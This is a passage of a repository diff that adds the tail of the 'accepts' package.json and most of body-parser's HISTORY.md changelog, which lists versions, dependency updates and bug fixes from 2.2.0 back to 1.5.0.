+
"test-cov": "nyc --reporter=html --reporter=text npm test"
|
40 |
+
},
|
41 |
+
"keywords": [
|
42 |
+
"content",
|
43 |
+
"negotiation",
|
44 |
+
"accept",
|
45 |
+
"accepts"
|
46 |
+
]
|
47 |
+
}
|
node_modules/body-parser/HISTORY.md
ADDED
@@ -0,0 +1,731 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
2.2.0 / 2025-03-27
|
2 |
+
=========================
|
3 |
+
|
4 |
+
* refactor: normalize common options for all parsers
|
5 |
+
* deps:
|
6 |
+
* iconv-lite@^0.6.3
|
7 |
+
|
8 |
+
2.1.0 / 2025-02-10
|
9 |
+
=========================
|
10 |
+
|
11 |
+
* deps:
|
12 |
+
* type-is@^2.0.0
|
13 |
+
* debug@^4.4.0
|
14 |
+
* Removed destroy
|
15 |
+
* refactor: prefix built-in node module imports
|
16 |
+
* use the node require cache instead of custom caching
|
17 |
+
|
18 |
+
2.0.2 / 2024-10-31
|
19 |
+
=========================
|
20 |
+
|
21 |
+
* remove `unpipe` package and use native `unpipe()` method
|
22 |
+
|
23 |
+
2.0.1 / 2024-09-10
|
24 |
+
=========================
|
25 |
+
|
26 |
+
* Restore expected behavior `extended` to `false`
|
27 |
+
|
28 |
+
2.0.0 / 2024-09-10
|
29 |
+
=========================
|
30 |
+
* Propagate changes from 1.20.3
|
31 |
+
* add brotli support #406
|
32 |
+
* Breaking Change: Node.js 18 is the minimum supported version
|
33 |
+
|
34 |
+
2.0.0-beta.2 / 2023-02-23
|
35 |
+
=========================
|
36 |
+
|
37 |
+
This incorporates all changes after 1.19.1 up to 1.20.2.
|
38 |
+
|
39 |
+
* Remove deprecated `bodyParser()` combination middleware
|
40 |
+
* deps: [email protected]
|
41 |
+
- Add `DEBUG_HIDE_DATE` environment variable
|
42 |
+
- Change timer to per-namespace instead of global
|
43 |
+
- Change non-TTY date format
|
44 |
+
- Remove `DEBUG_FD` environment variable support
|
45 |
+
- Support 256 namespace colors
|
46 |
+
* deps: [email protected]
|
47 |
+
- Add encoding cp720
|
48 |
+
- Add encoding UTF-32
|
49 |
+
* deps: [email protected]
|
50 |
+
|
51 |
+
2.0.0-beta.1 / 2021-12-17
|
52 |
+
=========================
|
53 |
+
|
54 |
+
* Drop support for Node.js 0.8
|
55 |
+
* `req.body` is no longer always initialized to `{}`
|
56 |
+
- it is left `undefined` unless a body is parsed
|
57 |
+
* `urlencoded` parser now defaults `extended` to `false`
|
58 |
+
* Use `on-finished` to determine when body read
|
59 |
+
|
60 |
+
1.20.3 / 2024-09-10
|
61 |
+
===================
|
62 |
+
|
63 |
+
* deps: [email protected]
|
64 |
+
* add `depth` option to customize the depth level in the parser
|
65 |
+
* IMPORTANT: The default `depth` level for parsing URL-encoded data is now `32` (previously was `Infinity`)
|
66 |
+
|
67 |
+
1.20.2 / 2023-02-21
|
68 |
+
===================
|
69 |
+
|
70 |
+
* Fix strict json error message on Node.js 19+
|
71 |
+
* deps: content-type@~1.0.5
|
72 |
+
- perf: skip value escaping when unnecessary
|
73 |
+
* deps: [email protected]
|
74 |
+
|
75 |
+
1.20.1 / 2022-10-06
|
76 |
+
===================
|
77 |
+
|
78 |
+
* deps: [email protected]
|
79 |
+
* perf: remove unnecessary object clone
|
80 |
+
|
81 |
+
1.20.0 / 2022-04-02
|
82 |
+
===================
|
83 |
+
|
84 |
+
* Fix error message for json parse whitespace in `strict`
|
85 |
+
* Fix internal error when inflated body exceeds limit
|
86 |
+
* Prevent loss of async hooks context
|
87 |
+
* Prevent hanging when request already read
|
88 |
+
* deps: [email protected]
|
89 |
+
- Replace internal `eval` usage with `Function` constructor
|
90 |
+
- Use instance methods on `process` to check for listeners
|
91 |
+
* deps: [email protected]
|
92 |
+
- deps: [email protected]
|
93 |
+
- deps: [email protected]
|
94 |
+
* deps: [email protected]
|
95 |
+
* deps: [email protected]
|
96 |
+
* deps: [email protected]
|
97 |
+
- deps: [email protected]
|
98 |
+
|
99 |
+
1.19.2 / 2022-02-15
|
100 |
+
===================
|
101 |
+
|
102 |
+
* deps: [email protected]
|
103 |
+
* deps: [email protected]
|
104 |
+
* Fix handling of `__proto__` keys
|
105 |
+
* deps: [email protected]
|
106 |
+
- deps: [email protected]
|
107 |
+
|
108 |
+
1.19.1 / 2021-12-10
|
109 |
+
===================
|
110 |
+
|
111 |
+
* deps: [email protected]
|
112 |
+
* deps: [email protected]
|
113 |
+
- deps: [email protected]
|
114 |
+
- deps: [email protected]
|
115 |
+
- deps: [email protected]
|
116 |
+
* deps: [email protected]
|
117 |
+
* deps: [email protected]
|
118 |
+
- deps: [email protected]
|
119 |
+
- deps: [email protected]
|
120 |
+
* deps: [email protected]
|
121 |
+
* deps: type-is@~1.6.18
|
122 |
+
|
123 |
+
1.19.0 / 2019-04-25
|
124 |
+
===================
|
125 |
+
|
126 |
+
* deps: [email protected]
|
127 |
+
- Add petabyte (`pb`) support
|
128 |
+
* deps: [email protected]
|
129 |
+
- Set constructor name when possible
|
130 |
+
- deps: [email protected]
|
131 |
+
- deps: statuses@'>= 1.5.0 < 2'
|
132 |
+
* deps: [email protected]
|
133 |
+
- Added encoding MIK
|
134 |
+
* deps: [email protected]
|
135 |
+
- Fix parsing array brackets after index
|
136 |
+
* deps: [email protected]
|
137 |
+
- deps: [email protected]
|
138 |
+
- deps: [email protected]
|
139 |
+
- deps: [email protected]
|
140 |
+
* deps: type-is@~1.6.17
|
141 |
+
- deps: mime-types@~2.1.24
|
142 |
+
- perf: prevent internal `throw` on invalid type
|
143 |
+
|
144 |
+
1.18.3 / 2018-05-14
|
145 |
+
===================
|
146 |
+
|
147 |
+
* Fix stack trace for strict json parse error
|
148 |
+
* deps: depd@~1.1.2
|
149 |
+
- perf: remove argument reassignment
|
150 |
+
* deps: http-errors@~1.6.3
|
151 |
+
- deps: depd@~1.1.2
|
152 |
+
- deps: [email protected]
|
153 |
+
- deps: statuses@'>= 1.3.1 < 2'
|
154 |
+
* deps: [email protected]
|
155 |
+
- Fix loading encoding with year appended
|
156 |
+
- Fix deprecation warnings on Node.js 10+
|
157 |
+
* deps: [email protected]
|
158 |
+
* deps: [email protected]
|
159 |
+
- deps: [email protected]
|
160 |
+
- deps: [email protected]
|
161 |
+
* deps: type-is@~1.6.16
|
162 |
+
- deps: mime-types@~2.1.18
|
163 |
+
|
164 |
+
1.18.2 / 2017-09-22
|
165 |
+
===================
|
166 |
+
|
167 |
+
* deps: [email protected]
|
168 |
+
* perf: remove argument reassignment
|
169 |
+
|
170 |
+
1.18.1 / 2017-09-12
|
171 |
+
===================
|
172 |
+
|
173 |
+
* deps: content-type@~1.0.4
|
174 |
+
- perf: remove argument reassignment
|
175 |
+
- perf: skip parameter parsing when no parameters
|
176 |
+
* deps: [email protected]
|
177 |
+
- Fix ISO-8859-1 regression
|
178 |
+
- Update Windows-1255
|
179 |
+
* deps: [email protected]
|
180 |
+
- Fix parsing & compacting very deep objects
|
181 |
+
* deps: [email protected]
|
182 |
+
- deps: [email protected]
|
183 |
+
|
184 |
+
1.18.0 / 2017-09-08
|
185 |
+
===================
|
186 |
+
|
187 |
+
* Fix JSON strict violation error to match native parse error
|
188 |
+
* Include the `body` property on verify errors
|
189 |
+
* Include the `type` property on all generated errors
|
190 |
+
* Use `http-errors` to set status code on errors
|
191 |
+
* deps: [email protected]
|
192 |
+
* deps: [email protected]
|
193 |
+
* deps: depd@~1.1.1
|
194 |
+
- Remove unnecessary `Buffer` loading
|
195 |
+
* deps: http-errors@~1.6.2
|
196 |
+
- deps: [email protected]
|
197 |
+
* deps: [email protected]
|
198 |
+
- Add support for React Native
|
199 |
+
- Add a warning if not loaded as utf-8
|
200 |
+
- Fix CESU-8 decoding in Node.js 8
|
201 |
+
- Improve speed of ISO-8859-1 encoding
|
202 |
+
* deps: [email protected]
|
203 |
+
* deps: [email protected]
|
204 |
+
- Use `http-errors` for standard emitted errors
|
205 |
+
- deps: [email protected]
|
206 |
+
- deps: [email protected]
|
207 |
+
- perf: skip buffer decoding on overage chunk
|
208 |
+
* perf: prevent internal `throw` when missing charset
|
209 |
+
|
210 |
+
1.17.2 / 2017-05-17
|
211 |
+
===================
|
212 |
+
|
213 |
+
* deps: [email protected]
|
214 |
+
- Fix `DEBUG_MAX_ARRAY_LENGTH`
|
215 |
+
- deps: [email protected]
|
216 |
+
* deps: type-is@~1.6.15
|
217 |
+
- deps: mime-types@~2.1.15
|
218 |
+
|
219 |
+
1.17.1 / 2017-03-06
|
220 |
+
===================
|
221 |
+
|
222 |
+
* deps: [email protected]
|
223 |
+
- Fix regression parsing keys starting with `[`
|
224 |
+
|
225 |
+
1.17.0 / 2017-03-01
|
226 |
+
===================
|
227 |
+
|
228 |
+
* deps: http-errors@~1.6.1
|
229 |
+
- Make `message` property enumerable for `HttpError`s
|
230 |
+
- deps: [email protected]
|
231 |
+
* deps: [email protected]
|
232 |
+
- Fix compacting nested arrays
|
233 |
+
|
234 |
+
1.16.1 / 2017-02-10
|
235 |
+
===================
|
236 |
+
|
237 |
+
* deps: [email protected]
|
238 |
+
- Fix deprecation messages in WebStorm and other editors
|
239 |
+
- Undeprecate `DEBUG_FD` set to `1` or `2`
|
240 |
+
|
241 |
+
1.16.0 / 2017-01-17
|
242 |
+
===================
|
243 |
+
|
244 |
+
* deps: [email protected]
|
245 |
+
- Allow colors in workers
|
246 |
+
- Deprecated `DEBUG_FD` environment variable
|
247 |
+
- Fix error when running under React Native
|
248 |
+
- Use same color for same namespace
|
249 |
+
- deps: [email protected]
|
250 |
+
* deps: http-errors@~1.5.1
|
251 |
+
- deps: [email protected]
|
252 |
+
- deps: [email protected]
|
253 |
+
- deps: statuses@'>= 1.3.1 < 2'
|
254 |
+
* deps: [email protected]
|
255 |
+
- Added encoding MS-31J
|
256 |
+
- Added encoding MS-932
|
257 |
+
- Added encoding MS-936
|
258 |
+
- Added encoding MS-949
|
259 |
+
- Added encoding MS-950
|
260 |
+
- Fix GBK/GB18030 handling of Euro character
|
261 |
+
* deps: [email protected]
|
262 |
+
- Fix array parsing from skipping empty values
|
263 |
+
* deps: raw-body@~2.2.0
|
264 |
+
- deps: [email protected]
|
265 |
+
* deps: type-is@~1.6.14
|
266 |
+
- deps: mime-types@~2.1.13
|
267 |
+
|
268 |
+
1.15.2 / 2016-06-19
|
269 |
+
===================
|
270 |
+
|
271 |
+
* deps: [email protected]
|
272 |
+
* deps: content-type@~1.0.2
|
273 |
+
- perf: enable strict mode
|
274 |
+
* deps: http-errors@~1.5.0
|
275 |
+
- Use `setprototypeof` module to replace `__proto__` setting
|
276 |
+
- deps: statuses@'>= 1.3.0 < 2'
|
277 |
+
- perf: enable strict mode
|
278 |
+
* deps: [email protected]
|
279 |
+
* deps: raw-body@~2.1.7
|
280 |
+
- deps: [email protected]
|
281 |
+
- perf: remove double-cleanup on happy path
|
282 |
+
* deps: type-is@~1.6.13
|
283 |
+
- deps: mime-types@~2.1.11
|
284 |
+
|
285 |
+
1.15.1 / 2016-05-05
|
286 |
+
===================
|
287 |
+
|
288 |
+
* deps: [email protected]
|
289 |
+
- Drop partial bytes on all parsed units
|
290 |
+
- Fix parsing byte string that looks like hex
|
291 |
+
* deps: raw-body@~2.1.6
|
292 |
+
- deps: [email protected]
|
293 |
+
* deps: type-is@~1.6.12
|
294 |
+
- deps: mime-types@~2.1.10
|
295 |
+
|
296 |
+
1.15.0 / 2016-02-10
|
297 |
+
===================
|
298 |
+
|
299 |
+
* deps: http-errors@~1.4.0
|
300 |
+
- Add `HttpError` export, for `err instanceof createError.HttpError`
|
301 |
+
- deps: [email protected]
|
302 |
+
- deps: statuses@'>= 1.2.1 < 2'
|
303 |
+
* deps: [email protected]
|
304 |
+
* deps: type-is@~1.6.11
|
305 |
+
- deps: mime-types@~2.1.9
|
306 |
+
|
307 |
+
1.14.2 / 2015-12-16
|
308 |
+
===================
|
309 |
+
|
310 |
+
* deps: [email protected]
|
311 |
+
* deps: [email protected]
|
312 |
+
* deps: [email protected]
|
313 |
+
* deps: raw-body@~2.1.5
|
314 |
+
- deps: [email protected]
|
315 |
+
- deps: [email protected]
|
316 |
+
* deps: type-is@~1.6.10
|
317 |
+
- deps: mime-types@~2.1.8
|
318 |
+
|
319 |
+
1.14.1 / 2015-09-27
|
320 |
+
===================
|
321 |
+
|
322 |
+
* Fix issue where invalid charset results in 400 when `verify` used
|
323 |
+
* deps: [email protected]
|
324 |
+
- Fix CESU-8 decoding in Node.js 4.x
|
325 |
+
* deps: raw-body@~2.1.4
|
326 |
+
- Fix masking critical errors from `iconv-lite`
|
327 |
+
- deps: [email protected]
|
328 |
+
* deps: type-is@~1.6.9
|
329 |
+
- deps: mime-types@~2.1.7
|
330 |
+
|
331 |
+
1.14.0 / 2015-09-16
|
332 |
+
===================
|
333 |
+
|
334 |
+
* Fix JSON strict parse error to match syntax errors
|
335 |
+
* Provide static `require` analysis in `urlencoded` parser
|
336 |
+
* deps: depd@~1.1.0
|
337 |
+
- Support web browser loading
|
338 |
+
* deps: [email protected]
|
339 |
+
* deps: raw-body@~2.1.3
|
340 |
+
- Fix sync callback when attaching data listener causes sync read
|
341 |
+
* deps: type-is@~1.6.8
|
342 |
+
- Fix type error when given invalid type to match against
|
343 |
+
- deps: mime-types@~2.1.6
|
344 |
+
|
345 |
+
1.13.3 / 2015-07-31
|
346 |
+
===================
|
347 |
+
|
348 |
+
* deps: type-is@~1.6.6
|
349 |
+
- deps: mime-types@~2.1.4
|
350 |
+
|
351 |
+
1.13.2 / 2015-07-05
|
352 |
+
===================
|
353 |
+
|
354 |
+
* deps: [email protected]
|
355 |
+
* deps: [email protected]
|
356 |
+
- Fix dropping parameters like `hasOwnProperty`
|
357 |
+
- Fix user-visible incompatibilities from 3.1.0
|
358 |
+
- Fix various parsing edge cases
|
359 |
+
* deps: raw-body@~2.1.2
|
360 |
+
- Fix error stack traces to skip `makeError`
|
361 |
+
- deps: [email protected]
|
362 |
+
* deps: type-is@~1.6.4
|
363 |
+
- deps: mime-types@~2.1.2
|
364 |
+
- perf: enable strict mode
|
365 |
+
- perf: remove argument reassignment
|
366 |
+
|
367 |
+
1.13.1 / 2015-06-16
|
368 |
+
===================
|
369 |
+
|
370 |
+
* deps: [email protected]
|
371 |
+
- Downgraded from 3.1.0 because of user-visible incompatibilities
|
372 |
+
|
373 |
+
1.13.0 / 2015-06-14
|
374 |
+
===================
|
375 |
+
|
376 |
+
* Add `statusCode` property on `Error`s, in addition to `status`
|
377 |
+
* Change `type` default to `application/json` for JSON parser
|
378 |
+
* Change `type` default to `application/x-www-form-urlencoded` for urlencoded parser
|
379 |
+
* Provide static `require` analysis
|
380 |
+
* Use the `http-errors` module to generate errors
|
381 |
+
* deps: [email protected]
|
382 |
+
- Slight optimizations
|
383 |
+
* deps: [email protected]
|
384 |
+
- The encoding UTF-16 without BOM now defaults to UTF-16LE when detection fails
|
385 |
+
- Leading BOM is now removed when decoding
|
386 |
+
* deps: on-finished@~2.3.0
|
387 |
+
- Add defined behavior for HTTP `CONNECT` requests
|
388 |
+
- Add defined behavior for HTTP `Upgrade` requests
|
389 |
+
- deps: [email protected]
|
390 |
+
* deps: [email protected]
|
391 |
+
- Fix dropping parameters like `hasOwnProperty`
|
392 |
+
- Fix various parsing edge cases
|
393 |
+
- Parsed object now has `null` prototype
|
394 |
+
* deps: raw-body@~2.1.1
|
395 |
+
- Use `unpipe` module for unpiping requests
|
396 |
+
- deps: [email protected]
|
397 |
+
* deps: type-is@~1.6.3
|
398 |
+
- deps: mime-types@~2.1.1
|
399 |
+
- perf: reduce try block size
|
400 |
+
- perf: remove bitwise operations
|
401 |
+
* perf: enable strict mode
|
402 |
+
* perf: remove argument reassignment
|
403 |
+
* perf: remove delete call
|
404 |
+
|
405 |
+
1.12.4 / 2015-05-10
|
406 |
+
===================
|
407 |
+
|
408 |
+
* deps: debug@~2.2.0
|
409 |
+
* deps: [email protected]
|
410 |
+
- Fix allowing parameters like `constructor`
|
411 |
+
* deps: on-finished@~2.2.1
|
412 |
+
* deps: raw-body@~2.0.1
|
413 |
+
- Fix a false-positive when unpiping in Node.js 0.8
|
414 |
+
- deps: [email protected]
|
415 |
+
* deps: type-is@~1.6.2
|
416 |
+
- deps: mime-types@~2.0.11
|
417 |
+
|
418 |
+
1.12.3 / 2015-04-15
|
419 |
+
===================
|
420 |
+
|
421 |
+
* Slight efficiency improvement when not debugging
|
422 |
+
* deps: depd@~1.0.1
|
423 |
+
* deps: [email protected]
|
424 |
+
- Add encoding alias UNICODE-1-1-UTF-7
|
425 |
+
* deps: [email protected]
|
426 |
+
- Fix hanging callback if request aborts during read
|
427 |
+
- deps: [email protected]
|
428 |
+
|
429 |
+
1.12.2 / 2015-03-16
|
430 |
+
===================
|
431 |
+
|
432 |
+
* deps: [email protected]
|
433 |
+
- Fix error when parameter `hasOwnProperty` is present
|
434 |
+
|
435 |
+
1.12.1 / 2015-03-15
|
436 |
+
===================
|
437 |
+
|
438 |
+
* deps: debug@~2.1.3
|
439 |
+
- Fix high intensity foreground color for bold
|
440 |
+
- deps: [email protected]
|
441 |
+
* deps: type-is@~1.6.1
|
442 |
+
- deps: mime-types@~2.0.10
|
443 |
+
|
444 |
+
1.12.0 / 2015-02-13
|
445 |
+
===================
|
446 |
+
|
447 |
+
* add `debug` messages
|
448 |
+
* accept a function for the `type` option
|
449 |
+
* use `content-type` to parse `Content-Type` headers
|
450 |
+
* deps: [email protected]
|
451 |
+
- Gracefully support enumerables on `Object.prototype`
|
452 |
+
* deps: [email protected]
|
453 |
+
- deps: [email protected]
|
454 |
+
* deps: type-is@~1.6.0
|
455 |
+
- fix argument reassignment
|
456 |
+
- fix false-positives in `hasBody` `Transfer-Encoding` check
|
457 |
+
- support wildcard for both type and subtype (`*/*`)
|
458 |
+
- deps: mime-types@~2.0.9
|
459 |
+
|
460 |
+
1.11.0 / 2015-01-30
|
461 |
+
===================
|
462 |
+
|
463 |
+
* make internal `extended: true` depth limit infinity
|
464 |
+
* deps: type-is@~1.5.6
|
465 |
+
- deps: mime-types@~2.0.8
|
466 |
+
|
467 |
+
1.10.2 / 2015-01-20
|
468 |
+
===================
|
469 |
+
|
470 |
+
* deps: [email protected]
|
471 |
+
- Fix rare aliases of single-byte encodings
|
472 |
+
* deps: [email protected]
|
473 |
+
- deps: [email protected]
|
474 |
+
|
475 |
+
1.10.1 / 2015-01-01
|
476 |
+
===================
|
477 |
+
|
478 |
+
* deps: on-finished@~2.2.0
|
479 |
+
* deps: type-is@~1.5.5
|
480 |
+
- deps: mime-types@~2.0.7
|
481 |
+
|
482 |
+
1.10.0 / 2014-12-02
|
483 |
+
===================
|
484 |
+
|
485 |
+
* make internal `extended: true` array limit dynamic
|
486 |
+
|
487 |
+
1.9.3 / 2014-11-21
|
488 |
+
==================
|
489 |
+
|
490 |
+
* deps: [email protected]
|
491 |
+
- Fix Windows-31J and X-SJIS encoding support
|
492 |
+
* deps: [email protected]
|
493 |
+
- Fix `arrayLimit` behavior
|
494 |
+
* deps: [email protected]
|
495 |
+
- deps: [email protected]
|
496 |
+
* deps: type-is@~1.5.3
|
497 |
+
- deps: mime-types@~2.0.3
|
498 |
+
|
499 |
+
1.9.2 / 2014-10-27
|
500 |
+
==================
|
501 |
+
|
502 |
+
* deps: [email protected]
|
503 |
+
- Fix parsing of mixed objects and values
|
504 |
+
|
505 |
+
1.9.1 / 2014-10-22
|
506 |
+
==================
|
507 |
+
|
508 |
+
* deps: on-finished@~2.1.1
|
509 |
+
- Fix handling of pipelined requests
|
510 |
+
* deps: [email protected]
|
511 |
+
- Fix parsing of mixed implicit and explicit arrays
|
512 |
+
* deps: type-is@~1.5.2
|
513 |
+
- deps: mime-types@~2.0.2
|
514 |
+
|
515 |
+
1.9.0 / 2014-09-24
|
516 |
+
==================
|
517 |
+
|
518 |
+
* include the charset in "unsupported charset" error message
|
519 |
+
* include the encoding in "unsupported content encoding" error message
|
520 |
+
* deps: depd@~1.0.0
|
521 |
+
|
522 |
+
1.8.4 / 2014-09-23
|
523 |
+
==================
|
524 |
+
|
525 |
+
* fix content encoding to be case-insensitive
|
526 |
+
|
527 |
+
1.8.3 / 2014-09-19
|
528 |
+
==================
|
529 |
+
|
530 |
+
* deps: [email protected]
|
531 |
+
- Fix issue with object keys starting with numbers truncated
|
532 |
+
|
533 |
+
1.8.2 / 2014-09-15
|
534 |
+
==================
|
535 |
+
|
536 |
+
* deps: [email protected]
|
537 |
+
|
538 |
+
1.8.1 / 2014-09-07
|
539 |
+
==================
|
540 |
+
|
541 |
+
* deps: [email protected]
|
542 |
+
* deps: type-is@~1.5.1
|
543 |
+
|
544 |
+
1.8.0 / 2014-09-05
|
545 |
+
==================
|
546 |
+
|
547 |
+
* make empty-body-handling consistent between chunked requests
|
548 |
+
- empty `json` produces `{}`
|
549 |
+
- empty `raw` produces `new Buffer(0)`
|
550 |
+
- empty `text` produces `''`
|
551 |
+
- empty `urlencoded` produces `{}`
|
552 |
+
* deps: [email protected]
|
553 |
+
- Fix issue where first empty value in array is discarded
|
554 |
+
* deps: type-is@~1.5.0
|
555 |
+
- fix `hasbody` to be true for `content-length: 0`
|
556 |
+
|
557 |
+
1.7.0 / 2014-09-01
|
558 |
+
==================
|
559 |
+
|
560 |
+
* add `parameterLimit` option to `urlencoded` parser
|
561 |
+
* change `urlencoded` extended array limit to 100
|
562 |
+
* respond with 413 when over `parameterLimit` in `urlencoded`
|
563 |
+
|
564 |
+
1.6.7 / 2014-08-29
|
565 |
+
==================
|
566 |
+
|
567 |
+
* deps: [email protected]
|
568 |
+
- Remove unnecessary cloning
|
569 |
+
|
570 |
+
1.6.6 / 2014-08-27
|
571 |
+
==================
|
572 |
+
|
573 |
+
* deps: [email protected]
|
574 |
+
- Array parsing fix
|
575 |
+
- Performance improvements
|
576 |
+
|
577 |
+
1.6.5 / 2014-08-16
|
578 |
+
==================
|
579 |
+
|
580 |
+
* deps: [email protected]
|
581 |
+
|
582 |
+
1.6.4 / 2014-08-14
|
583 |
+
==================
|
584 |
+
|
585 |
+
* deps: [email protected]
|
586 |
+
|
587 |
+
1.6.3 / 2014-08-10
|
588 |
+
==================
|
589 |
+
|
590 |
+
* deps: [email protected]
|
591 |
+
|
592 |
+
1.6.2 / 2014-08-07
|
593 |
+
==================
|
594 |
+
|
595 |
+
* deps: [email protected]
|
596 |
+
- Fix parsing array of objects
|
597 |
+
|
598 |
+
1.6.1 / 2014-08-06
|
599 |
+
==================
|
600 |
+
|
601 |
+
* deps: [email protected]
|
602 |
+
- Accept urlencoded square brackets
|
603 |
+
- Accept empty values in implicit array notation
|
604 |
+
|
605 |
+
1.6.0 / 2014-08-05
|
606 |
+
==================
|
607 |
+
|
608 |
+
* deps: [email protected]
|
609 |
+
- Complete rewrite
|
610 |
+
- Limits array length to 20
|
611 |
+
- Limits object depth to 5
|
612 |
+
- Limits parameters to 1,000
|
613 |
+
|
614 |
+
1.5.2 / 2014-07-27
|
615 |
+
==================
|
616 |
+
|
617 |
+
* deps: [email protected]
|
618 |
+
- Work-around v8 generating empty stack traces
|
619 |
+
|
620 |
+
1.5.1 / 2014-07-26
|
621 |
+
==================
|
622 |
+
|
623 |
+
* deps: [email protected]
|
624 |
+
- Fix exception when global `Error.stackTraceLimit` is too low
|
625 |
+
|
626 |
+
1.5.0 / 2014-07-20
|
627 |
+
==================
|
628 |
+
|
629 |
+
* deps: [email protected]
|
630 |
+
- Add `TRACE_DEPRECATION` environment variable
|
631 |
+
- Remove non-standard grey color from color output
|
632 |
+
- Support `--no-deprecation` argument
|
633 |
+
- Support `--trace-deprecation` argument
|
634 |
+
* deps: [email protected]
|
635 |
+
- Added encoding UTF-7
|
636 |
+
* deps: [email protected]
|
637 |
+
- deps: [email protected]
|
638 |
+
- Added encoding UTF-7
|
639 |
+
- Fix `Cannot switch to old mode now` error on Node.js 0.10+
|
640 |
+
* deps: type-is@~1.3.2
|
641 |
+
|
642 |
+
